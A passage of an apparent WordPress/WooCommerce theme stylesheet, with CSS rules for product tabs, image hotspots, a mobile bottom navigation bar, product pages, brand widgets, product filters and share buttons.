	.penci-products-tabs.tabs-design-alt .tabs-name,
	.penci-products-tabs.tabs-design-alt .tabs-navigation-wrapper {
		flex: 1 1 100%;
		width: 100%;
		max-width: 100%;
	}
	.penci-products-tabs.tabs-design-simple .penci-tabs-header {
		align-items: flex-start;
		flex-direction: column;
		margin-bottom: 10px;
		border-bottom: none
	}
	.penci-products-tabs.tabs-design-simple .tabs-name {
		margin-right: 0
	}
	.penci-products-tabs.tabs-design-simple .tabs-navigation-wrapper {
		flex: 1 1 auto;
		width: 100%;
		max-width: 100%;
		padding-top: 10px;
		border-top: 2px solid #EAEAEA
	}
	.penci-products-tabs.tabs-design-simple .penci-owl-nav,
	.penci-products-tabs.tabs-design-simple .wrap-loading-arrow {
		top: -103px
	}
	.penci-products-tabs.tabs-design-simple .owl-carousel .penci-owl-nav {
		right: -5px
	}
}
/* Hotspot */
.penci-image-hotspot-hotspots {
	position: relative
}
.penci-image-hotspot-img {
	width: 100%
}
.hotspot-content {
	position: absolute;
	z-index: 10;
	visibility: hidden;
	width: 250px;
	padding: 15px;
	transition: opacity .25s ease,
	visibility .25s ease,
	transform .25s ease;
	transform: translateY(20px) translateZ(0);
	text-align: center;
	opacity: 0;
	background: white;
	box-shadow: 0 0 3px rgba(0, 0, 0, 0.15)
}
.hotspot-content > div,
.hotspot-content > h4 {
	margin-bottom: 10px;
	text-decoration: none;
}
.hotspot-content .price {
	font-weight: var(--pchead-wei);
}
.hotspot-content ins {
	text-decoration: none;
}
.hotspot-content del {
	opacity: 0.5;
	font-weight: normal;
}
.hotspot-content .hotspot-content-image {
	margin: -15px -15px 10px;
}
.hotspot-content > div:last-child,
.hotspot-content > h4:last-child {
	margin-bottom: 0
}
.hotspot-content .hotspot-content-text {
	margin-bottom: 15px
}
.hotspot-content .penci-product-title a,
.hotspot-content .hotspot-content-image a {
	display: block;
	text-decoration: none;
	color: var(--pcheading-cl);
}
.post-entry .hotspot-content a:hover,
.wpb_text_column .hotspot-content a:hover,
.hotspot-content .penci-product-title a:hover,
.hotspot-content .hotspot-content-image a:hover {
	text-decoration: none;
}
.hotspot-content .penci-product-title {
	font-size: var(--pcsl_tt_fs);
}
.hotspot-content:before {
	position: absolute;
	content: "";
}
.hotspot-opened .hotspot-content {
	visibility: visible;
	transform: none;
	opacity: 1;
}
.hotspot-content:hover .penci-more-desc-btn {
	transform: translateY(0) translateZ(0)
}
.hotspot-content .price {
	font-size: var(--pcsl_price_fs);
	color: var(--pccat_price_cl);
}
.hotspot-content .add_to_cart_button,
.hotspot-content .product_type_variable {
	font-size: 12px;
	line-height: 16px;
	padding: 10px 14px;
}
.hotspot-content .add_to_cart_button:hover,
.hotspot-content .product_type_variable:hover {
}
.hotspot-content .add_to_cart_button:active,
.hotspot-content .product_type_variable:active {
}
.hotspot-content .added_to_cart {
	display: none
}
.hotspot-dropdown-top,
.hotspot-dropdown-bottom {
	left: -115px
}
.hotspot-dropdown-top:before,
.hotspot-dropdown-bottom:before {
	left: 0;
	width: 100%;
	height: 30px
}
.hotspot-dropdown-top.hotspot-overflow-left,
.hotspot-dropdown-bottom.hotspot-overflow-left {
	right: 0;
	left: auto
}
.hotspot-dropdown-top.hotspot-overflow-right,
.hotspot-dropdown-bottom.hotspot-overflow-right {
	left: 0
}
.hotspot-dropdown-top {
	bottom: 40px
}
.hotspot-dropdown-top:before {
	top: 100%
}
.hotspot-dropdown-bottom {
	top: 40px
}
.hotspot-dropdown-bottom:before {
	bottom: 100%
}
.hotspot-dropdown-left,
.hotspot-dropdown-right {
	top: -55px
}
.hotspot-dropdown-left:before,
.hotspot-dropdown-right:before {
	top: 0;
	width: 30px;
	height: 100%
}
.hotspot-dropdown-left {
	right: 40px
}
.hotspot-dropdown-left:before {
	left: 100%
}
.hotspot-dropdown-left.hotspot-overflow-right {
	right: auto;
	left: 40px
}
.hotspot-dropdown-left.hotspot-overflow-right:before {
	right: 100%;
	left: auto
}
.hotspot-dropdown-right {
	left: 40px
}
.hotspot-dropdown-right:before {
	right: 100%
}
.hotspot-dropdown-right.hotspot-overflow-left {
	right: 40px;
	left: auto
}
.hotspot-dropdown-right.hotspot-overflow-left:before {
	right: auto;
	left: 100%
}
.penci-image-hotspot {
	position: absolute;
	width: 20px;
	height: 20px;
	margin-top: -10px;
	margin-left: -10px;
	transition: opacity .8s ease;
	border-radius: 50%;
	box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);
}
.hotspot-btn,
.hotspot-sonar {
	border-radius: 50%;
	backface-visibility: hidden;
	perspective: 800px
}
.hotspot-btn {
	z-index: 1;
	transition: all .3s ease;
	letter-spacing: normal;
}
.hotspot-action-click .hotspot-btn {
	cursor: pointer
}
.hotspot-btn:after {
	position: absolute;
	content: "";
	transition: all .3s ease
}
@keyframes pencisonar {
	0% {
		opacity: 0;
		transform: scale(0.2);
	}
	50% {
		opacity: .8;
	}
	100% {
		opacity: 0;
		transform: scale(1);
	}
}
@keyframes pencipulse {
	0%,
	100% {
		transform: scale(1);
	}
	50% {
		transform: scale(1.5);
	}
}
.hotspot-sonar {
	position: absolute;
	top: -8px;
	right: -8px;
	bottom: -8px;
	left: -8px;
	display: block;
	animation: pencisonar 2s ease infinite
}
.hotspot-icon-default .hotspot-btn {
	/*animation: pencipulse 2s ease-in-out infinite;*/
	background-color: var(--pcaccent-cl);
	box-shadow: inset 100px 100px transparent;
}
.hotspot-icon-default .hotspot-btn:after {
	top: 7px;
	left: 7px;
	width: 6px;
	height: 6px;
	border-radius: 50%;
	background-color: var(--pcbg-cl);
	animation: pencipulse 2s ease-in-out infinite;
}
.hotspot-icon-default .penci-image-hotspot.hotspot-opened .hotspot-btn {
	box-shadow: inset 100px 100px rgba(0, 0, 0, 0.1)
}
.hotspot-icon-default .hotspot-sonar {
	background-color: rgba(255, 255, 255, 0.5)
}
.hotspot-icon-alt .hotspot-btn {
	background-color: var(--pcbg-cl);
}
.hotspot-icon-alt .hotspot-btn:after {
	font-family: serif;
	font-size: 22px;
	font-weight: 700;
	line-height: 20px;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	content: "+";
	text-align: center;
	color: var(--pcaccent-cl)
}
.hotspot-icon-alt .penci-image-hotspot.hotspot-opened .hotspot-btn:after {
	color: var(--pcbg-cl);
}
.hotspot-icon-alt .penci-image-hotspot.hotspot-opened .hotspot-btn,
.hotspot-icon-alt .penci-image-hotspot:hover .hotspot-btn {
	background-color: var(--pcaccent-cl)
}
.hotspot-icon-alt .hotspot-sonar {
	background-color: var(--pcbg-cl);
}
@keyframes pencisonar {
	0% {
		opacity: 0;
		transform: scale(0.2)
	}
	50% {
		opacity: .8
	}
	100% {
		opacity: 0;
		transform: scale(1)
	}
}
.hotspot-content .add_to_cart_button:after,
.hotspot-content .product_type_variable:after {
	position: absolute;
	top: 50%;
	left: 50%;
	display: inline-block;
	width: 18px;
	height: 18px;
	margin-top: -9px;
	margin-left: -9px;
	content: "";
	transition: opacity 0s ease;
	vertical-align: middle;
	opacity: 0;
	border: 1px solid rgba(255, 255, 255, 0.3);
	border-left-color: var(--pcbg-cl);
	border-radius: 50%;
}
.hotspot-content .loading.add_to_cart_button,
.hotspot-content .loading.product_type_variable {
	color: transparent !important
}
.hotspot-content .loading.add_to_cart_button:after,
.hotspot-content .loading.product_type_variable:after {
	transition: opacity .25s ease;
	animation: pencirotate 450ms infinite linear;
	opacity: 1;
}
.hotspot-action-hover .hotspot-content {
	pointer-events: none
}
.hotspot-action-hover .penci-image-hotspot:hover .hotspot-content {
	visibility: visible;
	transform: none;
	pointer-events: visible;
	opacity: 1;
}
.hotspot-icon-default .penci-image-hotspot:hover .hotspot-btn {
	box-shadow: inset 100px 100px rgba(255, 255, 255, 0.1)
}
.hotspot-icon-alt .penci-image-hotspot:hover .hotspot-btn:after {
	color: var(--pcbg-cl);
}
@media only screen and (max-width: 767px) {
	.hotspot-type-product .hotspot-content-text {
		display: none
	}
	.hotspot-type-product .penci-entities-title,
	.hotspot-type-product .price {
		font-size: 14px
	}
	.hotspot-content {
		top: 40px;
		right: auto;
		bottom: auto
	}
	.hotspot-dropdown-left,
	.hotspot-dropdown-right {
		left: -115px
	}
	.hotspot-icon-alt .penci-image-hotspot:hover:not(.hotspot-opened) .hotspot-btn {
		background-color: var(--pcbg-cl);
	}
}
@media only screen and (max-width: 767px) {
	body.mobile-bottom-nav-active {
		padding-bottom: 60px;
	}
}
.penci-mobile-bottom-nav {
	position: fixed;
	z-index: 99999;
	right: 0;
	bottom: 0;
	left: 0;
	display: none;
	border-top: 1px solid var(--pcpage_gbdr_cl);
	background-color: var(--pcbg-cl);
	-moz-box-shadow: 0 -1px 5px rgba(190, 190, 190, 0.46);
	-webkit-box-shadow: 0 -1px 5px rgba(190, 190, 190, 0.46);
	box-shadow: 0 -1px 5px rgba(190, 190, 190, 0.46);
}
.penci-mobile-bottom-nav nav {
	display: flex;
	flex-shrink: 0;
}
@media only screen and (max-width: 767px) {
	.penci-mobile-bottom-nav {
		display: block;
	}
}
.penci-mobile-bottom-nav nav ul {
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-shrink: 0;
	flex-wrap: wrap;
	justify-content: space-between;
	width: 100%;
}
.penci-mobile-bottom-nav nav ul li .penci-footer-icon {
	display: block;
	width: 20px;
	max-height: 20px;
	margin: 0 auto 5px;
}
.penci-mobile-bottom-nav nav ul li {
	display: inline-flex;
	position: relative;
}
.penci-mobile-bottom-nav nav ul li .current-item {
	font-size: 8px;
	line-height: 14px;
	position: absolute;
	z-index: 1;
	top: calc(50% - 30px);
	right: calc(50% - 20px);
	display: inline-block;
	width: 14px;
	height: 14px;
	-moz-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	text-align: center;
	white-space: nowrap;
	color: var(--pcbg-cl);
	-moz-border-radius: 50%;
	-webkit-border-radius: 50%;
	border-radius: 50%;
	background: var(--pcaccent-cl);
}
.penci-mobile-bottom-nav nav ul li:last-child {
	border-right: 0;
}
.penci-mobile-bottom-nav nav ul li a {
	font-size: 12px;
	font-weight: bold;
	display: block;
	min-width: 50px;
	padding: 15px 10px;
	transition: all 0.3s ease-in-out;
	text-align: center;
	opacity: .75;
	text-transform: capitalize;
	color: var(--pctext-cl);
}
@media only screen and (max-width: 376px) {
	.penci-mobile-bottom-nav nav ul li a {
		padding: 15px 5px;
		min-width: auto;
	}
}
.penci-mobile-bottom-nav nav ul li a:hover {
	opacity: 1;
}
.penci-mobile-bottom-nav nav ul li i {
	font-size: 14px;
	display: block;
	font-family: 'penciicon';
	font-style: normal;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.penci-mobile-bottom-nav nav ul li i:before {
	font-family: inherit;
	display: inline-block;
}
.penci-mobile-bottom-nav nav ul li i.home:before {
	content: "\f16e";
}
.penci-mobile-bottom-nav nav ul li i.shop:before {
	content: "\f16d";
}
.penci-mobile-bottom-nav nav ul li i.wishlist:before {
	content: "\f109";
}
.penci-mobile-bottom-nav nav ul li i.compare:before {
	content: "\f16b";
}
.penci-mobile-bottom-nav nav ul li i.cart:before {
	content: "\f10c";
}
.penci-mobile-bottom-nav nav ul li i.account:before {
	content: "\f16f";
}
.penci-mobile-bottom-nav nav ul li i.filter:before {
	content: "\f169";
	transform: rotate(90deg);
}
@media only screen and (max-width: 767px) {
	.penci-header-signup-form {
		margin-bottom: 30px;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products.penci-owl-carousel .owl-item li {
		width: 100% !important;
		margin-right: 0 !important;
	}
}
/* Restyle */
.woocommerce div.product .product_title {
	font-size: var(--pcs_fsp_single_tt);
	margin: 0;
}
.woocommerce div.product.penci-summary-align-center .single-product-share {
	justify-content: center;
}
.single-product-share .list-posts-share {
	display: flex;
}
@media only screen and (min-width: 768px) {
	.woocommerce div.product .product_title {
		padding-right: 110px;
	}
	.woocommerce div.product.penci-summary-align-center .product_title {
		padding-left: 110px;
	}
	.woocommerce div.product.top-related-posts-hidden .product_title,
	.woocommerce div.product.penci-product-img-fullwidth .product_title,
	.woocommerce div.product.penci-product-img-fullwidth-container .product_title,
	.woocommerce div.product.penci-product-img-large .product_title {
		padding-left: 0;
		padding-right: 0;
	}
	.woocommerce div.product.penci-summary-align-center .woocommerce-product-rating .star-rating {
		display: inline-block;
		float: none;
	}
	.woocommerce div.product.penci-product-fullwidth-container .product_title {
		padding-right: 0;
	}
	.woocommerce div.product.penci-product-fullwidth-container .penci-single-product-top-container {
		overflow: visible;
	}
	.woocommerce div.product.penci-product-fullwidth-container .penci-top-relate-post {
		top: -50px;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product .product_title {
		font-size: var(--pcs_fsp_single_m_tt);
	}
	.woocommerce div.product .woocommerce-product-rating .star-rating {
		float: none;
	}
}
.woocommerce div.product p.price ins, .woocommerce div.product span.price ins,
.woocommerce div.product p.price, .woocommerce div.product span.price {
	font-size: var(--pcs_fsp_price);
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product p.price ins, .woocommerce div.product span.price ins,
	.woocommerce div.product p.price, .woocommerce div.product span.price {
		font-size: var(--pcs_fsp_m_price);
	}
}
body.single .container.penci-breadcrumb span,
body.single .container.penci-breadcrumb span a,
body.single .container.penci-breadcrumb i,
body.single.woocommerce .container.penci-breadcrumb.penci-woo-breadcrumb.top,
.woocommerce div.product div.summary .penci-woo-breadcrumb {
	font-size: var(--pcs_fsp_breadcrumb);
}
@media only screen and (max-width: 767px) {
	body.single .container.penci-breadcrumb span,
	body.single .container.penci-breadcrumb span a,
	body.single .container.penci-breadcrumb i,
	body.single.woocommerce .container.penci-breadcrumb.penci-woo-breadcrumb.top,
	.woocommerce div.product div.summary .penci-woo-breadcrumb {
		font-size: var(--pcs_fsp_m_breadcrumb);
	}
}
.woocommerce div.product div[itemprop="description"] p,
.woocommerce div.product .woocommerce-tabs #tab-description p,
.woocommerce-product-details__short-description p {
	font-size: var(--pcs_fsp_general);
	color: var(--pcpage_gtext_cl);
}
.woocommerce div.product div[itemprop="description"] a,
.woocommerce div.product .woocommerce-tabs #tab-description a,
.woocommerce-product-details__short-description a {
	color: var(--pcpage_glink_cl);
}
.woocommerce div.product div[itemprop="description"] a:hover,
.woocommerce div.product .woocommerce-tabs #tab-description a:hover,
.woocommerce-product-details__short-description a:hover {
	color: var(--pcpage_glink_hv_cl);
}
.woocommerce div.product .woocommerce-tabs ul.tabs {
	padding-bottom: 20px;
	margin-bottom: 30px;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a {
	font-size: var(--pcs_fsp_tab_tt);
	color: var(--pcpage_tab_tt_cl);
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product .woocommerce-tabs ul.tabs li a {
		font-size: var(--pcs_fsp_tab_m_tt);
	}
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active a {
	color: var(--pcpage_tab_tt_active_cl);
}
.woocommerce .widget.woocommerce.widget_product_categories li span.count {
	float: right;
}
.woocommerce .widget_shopping_cart p.buttons a,
.woocommerce.widget_shopping_cart p.buttons a,
.woocommerce .widget_price_filter .price_slider_amount .button,
.woocommerce div.product form.cart .button {
	background-color: var(--pcpage_btn_atc_bg_cl);
}
.woocommerce .widget_shopping_cart p.buttons a:hover,
.woocommerce.widget_shopping_cart p.buttons a:hover,
.woocommerce .widget_price_filter .price_slider_amount .button:hover,
.woocommerce div.product form.cart .button:hover {
	background-color: var(--pcpage_btn_atc_bg_hv_cl);
}
.woocommerce div.product .product_meta > span > * {
	font-size: var(--pcs_fsp_meta);
	color: var(--pcpage_meta_cl);
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product .product_meta > span > * {
		font-size: var(--pcs_fsp_m_meta);
	}
}
.woocommerce div.product .product_meta > span a,
.woocommerce div.product .product_meta > span a + * {
	color: var(--pcpage_meta_link_cl);
}
.woocommerce div.product .product_meta > span a:hover {
	color: var(--pcpage_meta_link_hv_cl);
}
.woocommerce ul.products li.product h3, .woocommerce ul.products li.product .woocommerce-loop-product__title {
	font-size: var(--pcsl_tt_fs);
}
.woocommerce ul.products.product-list li.product h3,
.woocommerce ul.products.product-list li.product .woocommerce-loop-product__title {
	font-size: var(--pcsl_tt_l_fs);
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products li.product h3, .woocommerce ul.products li.product .woocommerce-loop-product__title {
		font-size: var(--pcsl_tt_m_fs);
	}
	.woocommerce ul.products.product-list li.product h3,
	.woocommerce ul.products.product-list li.product .woocommerce-loop-product__title {
		font-size: var(--pcsl_tt_l_m_fs);
	}
}
li.product .penci-product-cats {
	font-size: var(--pcsl_meta_fs);
	color: var(--pccat_cat_cl);
}
@media only screen and (max-width: 767px) {
	li.product .penci-product-cats {
		font-size: var(--pcsl_meta_m_fs);
	}
}
.woocommerce ul.products li.product .price ins,
.woocommerce ul.products li.product .price {
	font-size: var(--pcsl_price_fs);
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products li.product .price ins,
	.woocommerce ul.products li.product .price {
		font-size: var(--pcsl_price_m_fs);
	}
}
.woocommerce ul.products .penci-soledad-product .penci-product-loop-button > a:before {
	font-size: var(--pcsl_btn_icon_size);
	color: var(--pcl_btn_group_txt_color);
}
.woocommerce ul.products:not(.product-style-7):not(.product-style-5) .penci-soledad-product .penci-product-loop-button > a:hover {
	background-color: var(--pcl_btn_group_bg_hv_color);
}
.woocommerce ul.products .penci-soledad-product .penci-product-loop-button > a:hover:before {
	color: var(--pcl_btn_group_txt_hv_color);
}
.woocommerce .penci-page-header h1 {
	color: var(--pcwp_tt_cl);
}
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt {
	color: var(--pcbg-cl);
}
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover {
	color: var(--pcwp_btn_alt_bg_hv_cl);
}
.woocommerce #respond input#submit,
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button {
	line-height: 40px;
	display: inline-flex;
	align-items: center;
	justify-content: center;
	padding: 0 30px;
	color: white;
	background-color: var(--pcwp_btn_bg_cl);
}
.woocommerce #respond input#submit {
	color: white;
}
.woocommerce #respond input#submit:hover,
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover {
	opacity: 0.8;
	background-color: var(--pcwp_btn_bg_hv_cl);
}
.woocommerce div.product .product_meta,
.woocommerce div.product .woocommerce-tabs ul.tabs {
	border-color: var(--pcpage_gbdr_cl);
}
/* Brand */
.brands-widget .brand-item {
	text-align: center;
}
.brands-widget .brand-item a {
	display: block;
	padding: 20px;
}
.brands-widget .brand-item img {
	width: auto;
	height: auto;
	max-height: 60px;
	display: inline-block;
}
.brands-carousel .owl-carousel:not(.penci-owl-loaded),
.brands-carousel .owl-stage {
	display: flex;
	align-items: center;
}
.brands-list .brand-item {
	margin-bottom: 15px;
	text-align: left;
}
.brands-list .brand-item a {
	padding: 0;
	color: var(--pcheading-cl);
	text-decoration: none;
}
.brands-list .brand-item a:hover {
	color: var(--pcaccent-cl);
}
.brands-style-bordered {
	border: 1px solid var(--pcpage_gbdr_cl);
	border-right: 0;
	border-bottom: 0;
}
.brands-style-bordered.brands-list {
	border: 0;
}
.brands-style-bordered .brand-item {
	border-width: 1px;
	border-color: var(--pcpage_gbdr_cl);
}
.brands-style-bordered.brands-grid {
	overflow: hidden;
}
.brands-style-bordered.brands-grid .row {
	margin-right: -2px;
	margin-bottom: -2px;
}
.brands-style-bordered.brands-grid .brand-item {
	border-right-style: solid;
	border-bottom-style: solid;
}
.brands-style-bordered.brands-carousel .brand-item {
	border-right-style: solid;
}
.brands-style-bordered.brands-carousel {
	border: 0;
}
.brands-style-bordered.brands-carousel .owl-stage-outer,
.brands-style-bordered.brands-carousel .owl-carousel:not(.penci-owl-loaded) {
	border: 1px solid var(--pcpage_gbdr_cl);
}
.brands-style-bordered.brands-carousel .owl-stage-outer {
	margin-right: 1px;
	margin-left: 1px;
}
.brands-style-bordered.brands-carousel .owl-item:last-child .brand-item {
	border-right-style: none;
}
.brands-style-bordered.brands-list .row {
	margin-right: -10px;
	margin-left: -10px;
}
.brands-style-bordered.brands-list .brand-item {
	margin-bottom: 10px;
	padding-right: 10px;
	padding-left: 10px;
}
.brands-style-bordered.brands-list .brand-item > a {
	padding-bottom: 10px;
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
}
.brands-style-bordered[data-hide_pagination_control="no"] .owl-carousel:not(.penci-owl-loaded) {
	padding-bottom: 0 !important;
}
.brands-hover-simple .brand-item img {
	transition: filter .3s ease;
	filter: grayscale(100%);
}
.brands-hover-simple .brand-item:hover img {
	filter: grayscale(0);
}
.brands-hover-alt .brand-item img {
	transition: filter .3s ease,
	opacity .3s ease;
	opacity: .5;
	filter: grayscale(100%);
}
.brands-hover-alt .brand-item:hover img {
	opacity: 1;
	filter: grayscale(0);
}
.penci-custom-row {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
}
.penci-custom-row .column-item {
	align-self: center;
}
.penci-custom-row.row-2 .column-item {
	flex: 0 0 auto;
	width: 50%;
}
.penci-custom-row.row-3 .column-item {
	flex: 0 0 auto;
	width: 33.3333333333%;
}
.penci-custom-row.row-4 .column-item {
	flex: 0 0 auto;
	width: 25%;
}
.penci-custom-row.row-5 .column-item {
	flex: 0 0 auto;
	width: 20%;
}
.penci-custom-row.row-5 .column-item {
	flex: 0 0 auto;
	width: 16.6666666667%;
}
/* Filter */
.penci-product-filters {
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	margin-right: -5px;
	margin-left: -5px
}
.penci-product-filters .penci-pf-checkboxes {
	flex: 1 1 200px;
	width: 0
}
.penci-product-filters > div {
	margin-bottom: 10px;
	padding-right: 5px;
	padding-left: 5px
}
.penci-pf-btn button {
	font-weight: bold;
	padding: 13px 15px;
	color: var(--pcwp_tt_cl);
	border: 0;
	background-color: var(--pcwp_btn_bg_cl);
	transition: all 0.3s ease-in-out;
}
.penci-pf-btn button:hover {
	color: white;
	background-color: var(--pcwp_btn_bg_hv_cl);
}
.penci-pf-btn button:active {
	bottom: var(--pcwp_btn_bg_hv_cl);
	box-shadow: var(--pcwp_tt_cl);
}
.penci-pf-checkboxes {
	position: relative
}
.penci-pf-title {
	line-height: 1;
	position: relative;
	display: flex;
	align-items: center;
	flex-direction: row;
	height: 40px;
	padding-right: 40px;
	padding-left: 15px;
	cursor: pointer;
	user-select: none;
	transition: border-color .5s ease;
	color: #333;
	border: 1px solid var(--pcpage_gbdr_cl);
}
.penci-pf-title .title-text {
	font-size: 12px;
	font-weight: 600;
	flex: 1 0 auto;
	text-transform: uppercase;
}
.penci-pf-title:after {
	font-family: "penciicon";
	font-size: 12px;
	position: absolute;
	top: 50%;
	right: 15px;
	content: "\f11e";
	transition: transform .2s ease;
	color: #B7B7B7;
	backface-visibility: hidden;
	-webkit-backface-visibility: hidden;
	font-size: 12px;
	transform: translatey(-47%);
}
.penci-pf-title:hover {
	border-color: rgba(129, 129, 129, 0.3)
}
.opened .penci-pf-title:after {
	transform: rotate(-180deg)
}
.penci-product-filters.color-scheme-light .penci-pf-title {
	color: var(--pcbg-cl);
	border-color: rgba(255, 255, 255, 0.15);
}
.penci-product-filters.color-scheme-light .penci-pf-title:after {
	color: rgba(255, 255, 255, 0.8)
}
.penci-product-filters.color-scheme-light .penci-pf-title:hover {
	border-color: rgba(255, 255, 255, 0.4)
}
.penci-pf-results {
	line-height: 1;
	overflow: hidden;
	white-space: nowrap;
}
.woocommerce ul.penci-pf-results li {
	font-size: 12px;
	font-weight: 600;
	position: relative;
	display: inline-block;
	margin-left: 5px;
	margin-bottom: 0;
	padding: 4px 8px;
	transition: all .25s ease;
	color: #333;
	background-color: #F1F1F1;
}
.woocommerce ul.penci-pf-results li:after {
	font-family: "penciicon", serif;
	font-size: 8px;
	position: absolute;
	top: 50%;
	left: 7px;
	margin-top: -6px;
	content: "\f110";
	transition: all 0.3s ease-in-out;
	opacity: 0;
}
.woocommerce ul.penci-pf-results li:hover {
	padding-left: 20px
}
.woocommerce ul.penci-pf-results li:hover:after {
	opacity: 1
}
.penci-pf-dropdown {
	position: absolute;
	z-index: 300;
	top: 100%;
	right: 0;
	left: 0;
	display: none;
	overflow: hidden;
	width: auto;
	height: auto;
	margin: 0 5px;
	background-color: #FFF;
	box-shadow: 0 0 3px rgba(0, 0, 0, 0.15)
}
.penci-pf-dropdown .pf-value {
	font-size: 14px;
	line-height: 20px;
	display: flex;
	align-items: center;
	flex-direction: row;
	padding: 8px 18px;
	cursor: pointer;
	transition: all .25s ease;
	color: #777;
}
.penci-product-filters ul.penci-pf-results,
.penci-product-filters .penci-pf-dropdown ul {
	margin: 0;
	padding: 0;
	list-style: none;
}
.penci-pf-dropdown ul a:hover {
	text-decoration: none;
}
.penci-pf-dropdown .pf-value:hover {
	color: #777;
	background-color: #F9F9F9;
}
.penci-pf-dropdown .pf-active > .pf-value {
	font-weight: 600;
	color: #333;
}
.penci-pf-dropdown .swatches-brands .filter-swatch span {
	border: none !important;
	border-radius: 0;
}
.penci-pf-dropdown .swatches-brands:not(.show-labels-off) .filter-swatch span:after {
	content: none
}
.penci-pf-dropdown .swatches-brands.show-labels-off .filter-swatch span:after {
	color: #2d2a2a;
	border-radius: 0;
	background-color: rgba(255, 255, 255, 0.6);
}
.penci-pf-dropdown .show-labels-off {
	padding: 10px
}
.penci-pf-dropdown .show-labels-off .filter-swatch {
	margin-right: 0
}
.penci-pf-dropdown .show-labels-off li {
	display: inline-block
}
.penci-pf-dropdown .show-labels-off .pf-value:hover {
	background-color: transparent !important
}
.penci-pf-dropdown .show-labels-off .swatch-inner {
	margin: 6px;
	padding: 0
}
.penci-pf-dropdown .show-labels-off li:not(.with-swatch-text) .layer-term-name {
	display: none
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown {
	background-color: #101010
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown .pf-value {
	color: rgba(255, 255, 255, 0.8)
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown .pf-value:hover {
	color: rgba(255, 255, 255, 0.8);
	background-color: rgba(255, 255, 255, 0.08);
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown .pf-active > .pf-value {
	color: var(--pcbg-cl)
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown .swatches-brands.show-labels-off .filter-swatch span:after {
	color: var(--pcbg-cl);
	background-color: rgba(0, 0, 0, 0.6);
}
.penci-pf-price-range .penci-pf-dropdown {
	padding: 20px
}
.penci-pf-price-range .ui-slider-horizontal {
	margin-bottom: 20px
}
.penci-pf-price-range .filter_price_slider_amount {
	margin-right: -20px;
	margin-bottom: -20px;
	margin-left: -20px;
	padding: 6px 20px;
	text-align: center;
	border-top: 1px solid rgba(119, 119, 119, 0.2);
	background-color: #F9F9F9;
}
.penci-pf-price-range .price_label {
	font-size: 14px;
	font-weight: 600;
	color: #2d2a2a;
}
.penci-pf-price-range .price_label .from:after {
	margin-right: 10px;
	margin-left: 10px;
	content: "-";
}
.penci-product-filters.color-scheme-light .penci-pf-price-range .filter_price_slider_amount {
	background-color: rgba(0, 0, 0, 0.3)
}
.penci-product-filters.color-scheme-light .penci-pf-price-range .price_label {
	color: var(--pcbg-cl);
}
.penci-pf-categories .children .pf-value {
	padding-left: 35px
}
.penci-pf-categories .children .children .pf-value {
	padding-left: 55px
}
.woocommerce table.shop_table thead tr th {
	border-width: 2px;
}
.woocommerce table.shop_table a.remove {
	font-size: 0;
	border: 0;
}
.woocommerce table.shop_table a.remove:before {
	font-family: penciicon;
	font-size: 8px;
	content: '\f110';
	transition: opacity .3s ease-in-out;
	opacity: .8;
	color: black;
}
.woocommerce table.shop_table a.remove:hover:before {
	opacity: 1;
}
.single-product-share {
	position: relative;
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	margin-top: 15px;
}
.single-product-share .share-title {
	font-weight: bold;
	margin-right: 5px;
}
.single-product-share a {
	display: inline-flex;
	align-items: center;
	justify-content: center;
	width: 36px;
	height: 36px;
	margin-right: 12px;
	transition: all 0.3s ease-in-out;
	color: var(--pctext-cl);
	border: 1px solid var(--pcpage_gbdr_cl);
	border-radius: 50%;
}
.penci-share-icon-style-square .single-product-share a {
	border-radius: 0;
}
.penci-share-style-3 .single-product-share a {
	border-color: #eee;
	background-color: #eee;
}
.penci-share-style-3 .single-product-share a:hover {
	color: var(--pcbg-cl);
}
.penci-share-style-4 .single-product-share a {
	width: auto;
	height: auto;
	border: 0;
	margin-right: 10px;
}
.penci-share-style-4 .single-product-share a:last-child {
	margin-right: 0;
}
.single-product-share a:hover {
	color: var(--pcbg-cl);
}
.penci-share-style-4 .single-product-share a:hover {
	color: var(--pcaccent-cl);
}
.penci-share-style-2 .single-product-share a,
.penci-share-style-3 .single-product-share a:hover {
	color: var(--pcbg-cl);
	border: 0;
}
.penci-share-style-2 .single-product-share a:hover {
	opacity: 0.85;
}
.single-product-share a:last-child {
	margin-right: 0;
}
.single-product-share .dt-share {
	display: none;
}
.penci-product-brands .penci-product-brand a {
	display: inline-block;
	max-width: 100px;
	margin: 0 0 15px;
	padding: 5px;
	border: 1px solid var(--pcpage_gbdr_cl);
}
.penci-product-brands .penci-product-brand .brand-title {
	display: none;
}
.penci-product-brands .penci-product-brand a {
	display: block;
}
.product_meta .penci-product-brands .penci-product-brand {
	display: flex;
	align-items: center;
}
.penci-summary-align-center .product_meta .penci-product-brands .penci-product-brand {
	justify-content: center;
}
.product_meta .penci-product-brands .penci-product-brand a,
